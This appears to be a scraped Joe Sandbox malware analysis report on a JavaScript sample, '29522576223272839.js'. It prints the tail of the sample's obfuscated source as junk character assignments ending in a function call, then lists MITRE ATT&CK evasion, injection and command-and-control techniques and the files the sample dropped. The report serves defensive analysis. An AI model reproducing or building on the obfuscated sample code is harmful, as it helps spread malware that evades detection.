1328	pqatgz = "V";
1329	pqatgz = "u";
1330	pqatgz = "e";
1331	pqatgz = "b";
1332	pqatgz = "3";
1333	apeqahfx = "l";
1334	apeqahfx = "S";
1335	apeqahfx = "H";
1336	apeqahfx = "W";
1337	apeqahfx = "S";
1338	apeqahfx = "J";
1339	apeqahfx = "V";
1340	apeqahfx = "D";
1341	apeqahfx = "a";
1342	apeqahfx = "k";
1343	apeqahfx = "W";
1344	apeqahfx = "j";
1345	apeqahfx = "k";
1346	apeqahfx = "V";
1347	apeqahfx = "U";
1348	apeqahfx = "x";
1349	apeqahfx = "h";
1350	apeqahfx = "p";
1351	apeqahfx = "t";
1352	apeqahfx = "0";
1353	zroyvlf = "P";
1354	zroyvlf = "I";
1355	zroyvlf = "q";
1356	zroyvlf = "G";
1357	zroyvlf = "V";
1358	zroyvlf = "f";
1359	zroyvlf = "D";
1360	zroyvlf = "w";
1361	zroyvlf = "G";
1362	zroyvlf = "d";
1363	zroyvlf = "W";
1364	zroyvlf = "M";
1365	zroyvlf = "f";
1366	zroyvlf = "p";
1367	zroyvlf = "B";
1368	zroyvlf = "l";
1369	zroyvlf = "P";
1370	zroyvlf = "H";
1371	zroyvlf = "G";
1372	zroyvlf = "W";
1373	zroyvlf = "h";
1374	zroyvlf = "P";
1375	zroyvlf = "X";
1376	zroyvlf = "f";
1377	zroyvlf = "T";
1378	zroyvlf = "E";
1379	zroyvlf = "t";
1380	zroyvlf = "p";
1381	zroyvlf = "l";
1382	zroyvlf = "y";
1383	zroyvlf = "D";
1384	zroyvlf = "m";
1385	zroyvlf = "h";
1386	zroyvlf = "q";
1387	zroyvlf = "m";
1388	zroyvlf = "p";
1389	zroyvlf = "N";
1390	zroyvlf = "t";
1391	zroyvlf = "P";
1392	zroyvlf = "L";
1393	zroyvlf = "s";
1394	ftmbsyuys ( );	ftmbsyuys() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 29522576223272839.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\34388aed-6e97-4deb-a877-b5b3a840b205.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7956

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
29522576223272839.js